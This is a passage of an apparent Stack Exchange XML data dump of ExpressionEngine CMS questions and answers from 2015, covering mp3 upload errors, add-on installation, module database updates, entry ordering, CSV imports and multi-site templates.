contains:&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So a solution was to re-convert the unencoded files to mp3. But the problem remains: the mp3's that wouldn't upload (the ones missing the encoding info) play just fine. Is there a way to get EE to allow these un-encoded mp3's so my client doesn't get confused if they have files like this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, these test mp3's that didn't upload were created by converting AIFF files in iTunes; any ideas as to why they didn't get the encoding?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;(this is my original question:)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm having a mysterious time trying to get certain mp3's uploaded through a Grid field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm developing a music site using EE 2.10.1; one of the channels is &quot;Albums&quot; which holds info on different music CDs. In this channel I have a Grid field that contains info about the different tracks on the CD and also the mp3 of the track.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My upload location is set to &quot;all file types&quot; and when I check the PHP info, it looks like the max file size allowed is 64MB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to upload the mp3's I need for the first entry, I get a cryptic &quot;file not allowed&quot; message; 'cryptic' because it's not saying it's an invalid file type or that the file is too big:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Ga4T5.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ga4T5.jpg&quot; alt=&quot;file not allowed screenshot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I’ve been testing to see what I can--and can’t--upload. I've been able to successfully upload a 13.7MB jpg through the Grid field, so I'm assuming that size isn't an issue (the mp3's are all smaller than that).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further testing reveals that I'm able to upload &lt;em&gt;some&lt;/em&gt; mp3's, ranging in size from 1.4MB to 8.2MB. But the majority of mp3's I try give me the error message. Also, I've tried uploading the mp3's that don't work directly through the File Manager, but I also get the error message that way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas or thoughts about what the problem could be? I have no idea if this is somehow a server issue, an EE issue or an issue with particular files (I can play the mp3's that won’t upload, so I don’t think they’re corrupt).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for your assistance!&lt;/p&gt;&#xA;" OwnerUserId="2218" LastEditorUserId="2218" LastEditDate="2015-12-16T12:17:13.400" LastActivityDate="2016-09-26T15:50:01.890" Title="Any way to get EE to upload not-properly encoded mp3s?" Tags="|file-uploads|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35023" PostTypeId="1" CreationDate="2015-12-13T19:45:53.153" Score="0" ViewCount="121" Body="&lt;p&gt;I've attempted to install the &quot;User&quot; add-on to a EE3.0.5 site. I have the latest version of User. I've followed these instruction:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Within the /system/user/addons/ directory, copy the user folder into your sites ./system/user/addons/ directory.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Within the /themes/user/ directory, copy the user folder into your sites ./themes/user/ directory.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to the Add-On Manager area in the ExpressionEngine control panel, scroll to down to the Third Party Add-Ons section, and find User in the list, and click Install.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;But the User add on doesn't show up in the list. I refreshed my CP page, but still no luck. I double checked the user theme and addons folder locations and we're good. I refreshed the page again but still no User in the list. The permissions for both user folders is 755 (which I assume is correct). What do I do now?&lt;/p&gt;&#xA;" OwnerUserId="6917" LastEditorUserId="6917" LastEditDate="2015-12-13T20:02:09.503" LastActivityDate="2016-05-30T08:40:04.217" Title="&quot;User&quot; add-on not showing up in EE add-on list" Tags="|solspace-user|install|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35024" PostTypeId="1" AcceptedAnswerId="35025" CreationDate="2015-12-14T03:06:23.493" Score="0" ViewCount="99" Body="&lt;p&gt;So I have ExpressionEngine Core Core v2.10.1 - Build Date: 20150501 installed and under localisation I have set to see 24 hour default time formatting and to include seconds in the default time format, but when I go to list of entries, that setting is not applied. I still see AM/PM time and also when I go in the entry and want to change time of publishing for some entry I get an error: &quot;This form has expired. Please refresh and try again.&quot;&#xA;I did put in config.php $config['disable_csrf_protection'] = &quot;y&quot;; but it did not help.&lt;/p&gt;&#xA;" OwnerUserId="3582" LastActivityDate="2016-01-29T13:27:51.083" Title="Problem with date/time setting" Tags="|date|config|date-format|entry-date|edit-date|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35025" PostTypeId="2" ParentId="35024" CreationDate="2015-12-14T05:59:08.310" Score="0" Body="&lt;p&gt;You need to change the date formatting options for your members (in this case, I suppose, the Superadmin) as well.&lt;/p&gt;&#xA;" OwnerUserId="6825" LastActivityDate="2015-12-14T05:59:08.310" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35026" PostTypeId="2" ParentId="35022" CreationDate="2015-12-14T07:01:56.730" Score="1" Body="&lt;p&gt;Try to disable XSS filtering in your security preferences. It looks like EE flags those files as suspicious.&lt;/p&gt;&#xA;" OwnerUserId="6825" LastActivityDate="2015-12-14T07:01:56.730" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35027" PostTypeId="1" CreationDate="2015-12-14T07:18:56.960" Score="0" ViewCount="29" Body="&lt;p&gt;I'm banging my head on this and new to EE as a cms - perhaps there's an obvious answer&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the latest Store and EE2.10.x and I have several channels dedicated to Store items. I want to show all contents from just one channel:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:search orderby=&quot;title&quot; sort=&quot;asc&quot; limit=&quot;10&quot;}&#xA;  {exp:store:product entry_id=&quot;{entry_id}&quot;}&#xA;    {title}&#xA;  {/exp:store:product}&#xA;{/exp:store:search}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This looks at all channels for content produces a title, as I understand it should from the docs as it's a wrapper for &lt;em&gt;{exp:channel:entries}&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I get no results if I try to get Store to show only 1 channel: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:search orderby=&quot;title&quot; sort=&quot;asc&quot; limit=&quot;10&quot; channel=&quot;channel3&quot;}&#xA;  {exp:store:product entry_id=&quot;{entry_id}&quot;}&#xA;    {title}&#xA;  {/exp:store:product}&#xA;{/exp:store:search}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since I only need a item listing, I thought I'd try a standard {exp:channel:entries} but I get no listings at all either? Event the titles aren't being show, which is really confusing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something? Shouldn't Store or EE be able to list items in a specific channel?&lt;/p&gt;&#xA;" OwnerUserId="6918" LastActivityDate="2015-12-14T07:18:56.960" Title="Store: Specific channel for exp:store_search doesn't work?" Tags="|expresso-store|channel-entries|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="35028" PostTypeId="2" ParentId="35019" CreationDate="2015-12-14T08:13:04.353" Score="1" Body="&lt;p&gt;This is the intended behavior of how that discount type works. If you go to the Discount Settings you will see a field called Matched On with the options of either Entry ID or SKU. This is what Store uses to match the particular product  to apply the discounts on. Think of it as buy 2 shovels get 50% off a 3rd shovel. This assumes you have set the Step Quantity at 2, Discount Quantity at 1 and Percent Discount at 50. If a user adds 6 of that item to the cart they will receive a discount on the 3rd and 6th of that item since the Discount Quantity is set to 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will need to develop your own discount type or extend the current discount type for your use case. You can browse through the current discount logic in &lt;code&gt;/store/src/Adjuster/DiscountAdjuster.php&lt;/code&gt; to get a starting point. Developing your own extension would probably be the best option as it gives you the most control and prevents Store updates from overwriting your changes. The &lt;a href=&quot;https://www.exp-resso.com/docs/extension_hooks.html#store_order_adjusters&quot; rel=&quot;nofollow&quot;&gt;adjustments hook&lt;/a&gt; would probably be the best option for you.&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2015-12-14T09:03:30.593" LastActivityDate="2015-12-14T09:03:30.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35029" PostTypeId="2" ParentId="34976" CreationDate="2015-12-14T08:29:41.640" Score="0" Body="&lt;p&gt;I am not sure if this is a bug or not but you can enter &lt;code&gt;.&lt;/code&gt; or &lt;code&gt;0&lt;/code&gt; into the price field then in your template you would need to do something along the lines of: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if price_val == 0}&#xA;  Price: &amp;lt;input type=&quot;text&quot; name=&quot;price&quot; value=&quot;&quot; &amp;gt;&#xA;  &amp;lt;input type=&quot;hidden&quot; id=&quot;item_qty&quot; name=&quot;item_qty&quot; value=&quot;1&quot; /&amp;gt;&#xA;{if:else}&#xA;  {price}&#xA;  &amp;lt;input type=&quot;text&quot; id=&quot;item_qty&quot; name=&quot;item_qty&quot; value=&quot;{min_order_qty}&quot; /&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ideally you would have any item where a user can enter their own price in a particulate channel since it could allow technically savvy users to adjust the price of items where you have set the price. In that case you could then use a conditional on the channel instead of relying on the price for the conditional.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if channel == &quot;donations&quot;}&#xA;  Price: &amp;lt;input type=&quot;text&quot; name=&quot;price&quot; value=&quot;&quot; &amp;gt;&#xA;  &amp;lt;input type=&quot;hidden&quot; id=&quot;item_qty&quot; name=&quot;item_qty&quot; value=&quot;1&quot; /&amp;gt;&#xA;{if:else}&#xA;  Your normal markup&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-12-14T08:29:41.640" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35030" PostTypeId="1" AcceptedAnswerId="35034" CreationDate="2015-12-14T14:21:10.373" Score="0" ViewCount="533" Body="&lt;p&gt;I've created a module for ExpressionEngine and since it's initial installation I need to add a new column to the database. I've managed to create the update funtion in the upd.modulename.php file and it's working. The problem is the code contained to add the new column doesn't seem to be doing what I need it to.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function update( $current = '' ) {&#xA;    ee()-&amp;gt;load-&amp;gt;dbforge();&#xA;&#xA;    if ( $current == $this-&amp;gt;version ) {&#xA;        return FALSE;&#xA;    }&#xA;&#xA;    if ( $current &amp;lt; '1.1.0' &amp;amp;&amp;amp; ! ee()-&amp;gt;db-&amp;gt;field_exists( 'new_field', 'module_table' ) ) {&#xA;        $updates = array(&#xA;            'new_field' =&amp;gt; array(&#xA;                'type' =&amp;gt; 'varchar',&#xA;                'constraint' =&amp;gt; '250'&#xA;            )&#xA;        );&#xA;        ee()-&amp;gt;dbforge-&amp;gt;add_column( $updates );&#xA;    }&#xA;&#xA;    return TRUE;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This conditional is working as I've managed to print out a message when running the module updates but it doesn't appear to be adding the new column to the table. I don't suppose anyone has any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2420" LastActivityDate="2015-12-14T16:47:38.043" Title="How to add a new database column in third party module?" Tags="|add-on-development|module|activerecord|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35032" PostTypeId="1" AcceptedAnswerId="35035" CreationDate="2015-12-14T16:22:20.377" Score="0" ViewCount="78" Body="&lt;p&gt;Is there any way to loop the next/prev entry links?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently the next link is hidden when you get to the last entry and the prev link is hidden on the first entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="434" LastActivityDate="2015-12-14T16:54:57.563" Title="Loop Next/Prev Entry Linking" Tags="|next-prev|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35033" PostTypeId="2" ParentId="35030" CreationDate="2015-12-14T16:28:44.263" Score="2" Body="&lt;p&gt;add_column just defines the column specs.&#xA;After which you need to run create_table&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://codeigniter.com/userguide2/database/forge.html#add_field&quot; rel=&quot;nofollow&quot;&gt;https://codeigniter.com/userguide2/database/forge.html#add_field&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;After the fields have been defined, they can be added using $this-&gt;dbforge-&gt;add_field($fields); followed by a call to the create_table() function.&quot;&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2015-12-14T16:28:44.263" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35034" PostTypeId="2" ParentId="35030" CreationDate="2015-12-14T16:47:38.043" Score="2" Body="&lt;p&gt;The add column function requires the database name, something that I had missed out in my function.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;dbforge-&amp;gt;add_column( 'module_table', $updates );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Full code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function update( $current = '' ) {&#xA;    ee()-&amp;gt;load-&amp;gt;dbforge();&#xA;&#xA;    if ( $current == $this-&amp;gt;version ) {&#xA;        return FALSE;&#xA;    }&#xA;&#xA;    if ( $current &amp;lt; '1.1.0' &amp;amp;&amp;amp; ! ee()-&amp;gt;db-&amp;gt;field_exists( 'new_field', 'module_table' ) ) {&#xA;        $updates = array(&#xA;            'new_field' =&amp;gt; array(&#xA;                'type' =&amp;gt; 'varchar',&#xA;                'constraint' =&amp;gt; '250'&#xA;            )&#xA;        );&#xA;        ee()-&amp;gt;dbforge-&amp;gt;add_column( 'module_table', $updates ); //Added table name here&#xA;    }&#xA;&#xA;    return TRUE;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2420" LastActivityDate="2015-12-14T16:47:38.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35035" PostTypeId="2" ParentId="35032" CreationDate="2015-12-14T16:54:57.563" Score="0" Body="&lt;p&gt;Unfortunately no such built-in functionality exists, to the best of my knowledge. There is a third-party app that claims to do just that, however, &lt;a href=&quot;https://devot-ee.com/add-ons/advanced-prev-next-entry&quot; rel=&quot;nofollow&quot;&gt;Advanced Prev Next Entry&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Cycle through entries when the end of list is reached.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6825" LastActivityDate="2015-12-14T16:54:57.563" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="35036" PostTypeId="1" CreationDate="2015-12-14T18:52:58.047" Score="0" ViewCount="36" Body="&lt;p&gt;I'm using &quot;v2.9.2 - Build Date: 20141004&quot; of EE and currently have an &quot;About Us&quot; page where I have a photo of company staff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently the only way to put this into a desired order is to change the &quot;Date Uploaded&quot; to an arbitrary value that corresponds with the desired order as they are sorted by that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems a bit bonkers and I was hoping I could just enter a custom ordering field and sort on that?&lt;/p&gt;&#xA;" OwnerUserId="6919" LastActivityDate="2016-05-21T02:55:48.800" Title="Sorting &quot;About Us&quot; Page" Tags="|sort|publish-layout|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35039" PostTypeId="1" CreationDate="2015-12-14T23:27:36.180" Score="1" ViewCount="28" Body="&lt;p&gt;I try to import a CSV with Solspace Importer, but I am unable to do so, because of an unhelpful error message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The following field is required:, The following field is required:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Of course i checked the CSV for missing entries for required fields, but I don't seem to have any.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the required fields of the &lt;strong&gt;channel&lt;/strong&gt; I am importing to, there are multiple checkboxes. The data in the CSV for the checkboxes are TRUE or FALSE. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe the error comes from these fields? &#xA;How should I import for checkbox values?&lt;/p&gt;&#xA;" OwnerUserId="6794" LastActivityDate="2016-05-05T14:14:53.130" Title="Solspace Importer: &quot;The following field is required:, The following field is required:&quot;" Tags="|channel-entries|solspace-importer|csv|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35040" PostTypeId="1" CreationDate="2015-12-14T23:35:03.777" Score="0" ViewCount="33" Body="&lt;p&gt;How can I use Solspace Importer to recognize uploaded files (that are already available in the file manager)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Possible ways:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use the filename?&lt;/li&gt;&#xA;&lt;li&gt;Use some file ID?&lt;/li&gt;&#xA;&lt;li&gt;Use the files entry name?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I couldn't find anything about in the documentation.&lt;/p&gt;&#xA;" OwnerUserId="6794" LastActivityDate="2015-12-16T08:24:27.197" Title="How to use Solspace Importer for files" Tags="|file-uploads|file-manager|solspace-importer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35041" PostTypeId="1" CreationDate="2015-12-15T00:11:39.357" Score="0" ViewCount="32" Body="&lt;p&gt;I've just attempted to install SuperSearch 2.2.3 on EE 2.9.2 and receive a a database 1044 error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Access denied for user 'db######'@'%' to database 'db202322_##########'&#xA;It then goes on to list the Levenschtein function where it errored in the SuperSearch install code in upd.super_search.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've attempted to grant all privileges to the user but cannot string together a query that works. Perhaps because I'm not a root admin or superuser? But I am a Super Admin in the CP...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please advise if you can. I've also curious as to why the username and database are the same...specific version of the database for that user?&lt;/p&gt;&#xA;" OwnerUserId="6920" LastActivityDate="2016-06-04T06:42:12.213" Title="SuperSearch Module Install Creates 1044 Error" Tags="|database|supersearch|mysql|database-error|super-admin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35042" PostTypeId="2" ParentId="35036" CreationDate="2015-12-15T07:53:15.823" Score="0" Body="&lt;p&gt;The easiest way is to use &lt;a href=&quot;https://devot-ee.com/add-ons/low-reorder&quot; rel=&quot;nofollow&quot;&gt;Low Reorder&lt;/a&gt;, which provides a nice interface to reordering entries, but if you want a basic implementation, have a custom field (for example &lt;code&gt;order&lt;/code&gt;) with a number in it, then have parameters in your channel:entries tag for &lt;code&gt;orderby=&quot;order&quot; sort=&quot;asc&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2015-12-15T07:53:15.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35043" PostTypeId="2" ParentId="35036" CreationDate="2015-12-15T08:35:30.010" Score="0" Body="&lt;p&gt;Yes, you can &lt;a href=&quot;https://docs.expressionengine.com/v2/add-ons/channel/channel_entries.html#orderby&quot; rel=&quot;nofollow&quot;&gt;order by channel field&lt;/a&gt;. Alternatively you could hardcode the channel tag to show specific entries, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries ... entry_id=&quot;13|42|147&quot; ...}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6825" LastActivityDate="2015-12-15T08:35:30.010" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35044" PostTypeId="1" CreationDate="2015-12-15T13:07:41.380" Score="0" ViewCount="83" Body="&lt;p&gt;How to get a particular part of a string? e.g after some special characters or some words.&lt;/p&gt;&#xA;" OwnerUserId="6318" LastEditorUserId="425" LastEditDate="2015-12-15T16:28:15.850" LastActivityDate="2015-12-15T16:28:15.850" Title="How get the particular part for a string?" Tags="|custom-fields|string|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35045" PostTypeId="2" ParentId="35044" CreationDate="2015-12-15T13:51:01.590" Score="2" Body="&lt;p&gt;Use the &lt;a href=&quot;https://devot-ee.com/add-ons/phpstringfun&quot; rel=&quot;nofollow&quot;&gt;PHPStringFun&lt;/a&gt; add-on and use regX either with substr or str_replace. Alternatively you could use &lt;a href=&quot;https://devot-ee.com/add-ons/low-replace&quot; rel=&quot;nofollow&quot;&gt;Low Replace&lt;/a&gt; or &lt;a href=&quot;https://devot-ee.com/add-ons/mx-jumper&quot; rel=&quot;nofollow&quot;&gt;MX Jumper&lt;/a&gt;. Or you could even activate PHP on the template and post parse. All depends on your exact requirement.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2015-12-15T13:51:01.590" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35046" PostTypeId="1" AcceptedAnswerId="35368" CreationDate="2015-12-15T14:28:47.433" Score="0" ViewCount="66" Body="&lt;p&gt;I've been trying to figure out a way for executing automated deployment of EE sites via Capistrano or similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've come across various tutorials but all require Git on the server, and most don't include DB migration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if there is a similar tool to &lt;a href=&quot;https://github.com/welaika/wordmove&quot; rel=&quot;nofollow&quot;&gt;Wordmove&lt;/a&gt; out there for EE? I really like that it uses rsync and sql commands for the migration so no special software is needed on the server side, only SSH access.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this has already been asked a million times, but figured with EE3 out now, and given the age of some of the questions, I thought it might be worth rehashing.&lt;/p&gt;&#xA;" OwnerUserId="2062" LastActivityDate="2016-01-25T19:27:19.673" Title="Automated deployment (Wordmove for EE)" Tags="|mysql|ee|sql|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35048" PostTypeId="1" CreationDate="2015-12-15T16:37:33.600" Score="0" ViewCount="141" Body="&lt;p&gt;I've never been able to get the required parameter to work with a select input. Any ideas why?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            {exp:freeform:form&#xA;                ...&#xA;             required=&quot;full_name|email|organization|telephone|country&quot;&#xA;                ...&#xA;                }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then the input code as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select id=&quot;countries&quot; name=&quot;country[]&quot;  required&amp;gt;&#xA;&amp;lt;option value=&quot;&quot;&amp;gt;Please select&amp;lt;/option&amp;gt;&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2024" LastActivityDate="2016-05-28T20:12:49.293" Title="Freeform: select input required" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35049" PostTypeId="2" ParentId="35048" CreationDate="2015-12-15T23:17:20.130" Score="0" Body="&lt;p&gt;Use the &quot;required=&quot; parameter.&#xA;&lt;a href=&quot;https://solspace.com/docs/freeform/form/#required&quot; rel=&quot;nofollow&quot;&gt;https://solspace.com/docs/freeform/form/#required&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2015-12-15T23:17:20.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35050" PostTypeId="2" ParentId="35041" CreationDate="2015-12-15T23:24:45.073" Score="0" Body="&lt;p&gt;Your database user does not have the required permissions to install a function into the database. Try increasing the permissions of that user.&#xA;Particularly, you need to make sure the CREATE ROUTINE permission is granted.&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2015-12-15T23:24:45.073" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35052" PostTypeId="1" CreationDate="2015-12-16T03:52:58.433" Score="0" ViewCount="38" Body="&lt;p&gt;Using EE 3.0.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://example.com/documentation/style_guide&quot; rel=&quot;nofollow&quot;&gt;http://example.com/documentation/style_guide&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;template_group: documentation&#xA;template_name: index&lt;/p&gt;&#xA;&#xA;&lt;p&gt;segment_1: documentation&#xA;segment_2: style_guide&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The style_guide template is not displaying.. it's reverting to the index template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't figure out what would cause segment_2 to not be the template_name&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only index and 1 other template in the template_group displays correctly. All others revert to index.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Haven't modified template routes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;.htaccess removes index.php per documentation.&lt;/p&gt;&#xA;" OwnerUserId="6925" LastActivityDate="2016-01-15T08:37:24.547" Title="template_group and template_name not matching segment_1 and segment_2" Tags="|templates|segments|ee3|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35053" PostTypeId="2" ParentId="35052" CreationDate="2015-12-16T06:45:18.923" Score="1" Body="&lt;p&gt;There was a recent bug for template permissions. Newly created templates couldn't be viewed by anyone, and while this has been fixed in recent versions it's still true for duplicated templates. Go into your template manager and check access permissions for your groups. Temporarily working as Superadmin should work, too.&lt;/p&gt;&#xA;" OwnerUserId="6825" LastActivityDate="2015-12-16T06:45:18.923" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35054" PostTypeId="2" ParentId="35040" CreationDate="2015-12-16T08:24:27.197" Score="1" Body="&lt;p&gt;If you look at the data stored in &lt;code&gt;exp_channel_data&lt;/code&gt; for regular EE &lt;strong&gt;File Upload&lt;/strong&gt; fields, you'll see files stored this way, eg: &lt;code&gt;{filedir_1}myfile.jpg&lt;/code&gt;, where &lt;code&gt;1&lt;/code&gt; is your upload field ID (this changes depending on your upload directory), and &lt;code&gt;myfile.jpg&lt;/code&gt; is your filename.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To import &lt;strong&gt;File Upload&lt;/strong&gt; field data, you would therefore need the filename, prefixed with &lt;code&gt;{filedir_X}&lt;/code&gt; (replace &lt;code&gt;X&lt;/code&gt; with your file upload directory ID) in your source file (eg. your CSV file).&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-12-16T08:24:27.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35055" PostTypeId="1" AcceptedAnswerId="35100" CreationDate="2015-12-16T10:21:14.877" Score="0" ViewCount="56" Body="&lt;p&gt;This is more of a question before I buy as I can't find any answers online and would like feedback from people who use it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A client wants to create a member's only section where they can download files and also only access a secure &quot;news&quot; section that's just for members to view. Is this possible with this plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see that the documentation speaks about member profiles etc but I couldn't find any info about using it to create custom systems?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any info/advice,&#xA;Andy&lt;/p&gt;&#xA;" OwnerUserId="6785" LastActivityDate="2015-12-20T15:25:46.790" Title="ExpressionEngine - Zoo Visitor Plugin Questions" Tags="|zoo-visitor|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35056" PostTypeId="1" AcceptedAnswerId="35057" CreationDate="2015-12-16T11:03:51.140" Score="1" ViewCount="67" Body="&lt;p&gt;I have a network of 3 sites that have the exact same channels and design - just different entries. Is there a way to use the same theme for all three sites rather than having to duplicate the theme and maintain 3 different sets of files?&lt;/p&gt;&#xA;" OwnerUserId="1124" LastActivityDate="2015-12-16T12:19:08.100" Title="EE 2 Multi site with one theme" Tags="|ee2|multi-site-manager|themes|multiple-sites|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35057" PostTypeId="2" ParentId="35056" CreationDate="2015-12-16T12:19:08.100" Score="1" Body="&lt;p&gt;Yes, it can be done. One way would be to turn on &lt;code&gt;Save Templates as Files&lt;/code&gt; as in your &lt;code&gt;Global Template Preferences&lt;/code&gt;, so your templates get saved to &lt;code&gt;/system/expressionengine/templates/&lt;/code&gt; and you can share between sites. You'll also need to update the &lt;code&gt;Server path to site's templates&lt;/code&gt; accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, even more simple, you could maintain one set of &quot;master&quot; templates and in your secondary sites simply use &lt;code&gt;{embed=site_a:group/template}&lt;/code&gt; as appropriate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, if you have &quot;different entries&quot;, won't the content of templates be different as well, if only because you need to specify a different channel= parameter? The second method has the advantage of allowing you to only replicate certain templates and not others, of course, maintaining full control over your setup.&lt;/p&gt;&#xA;" OwnerUserId="6825" LastActivityDate="2015-12-16T12:19:08.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
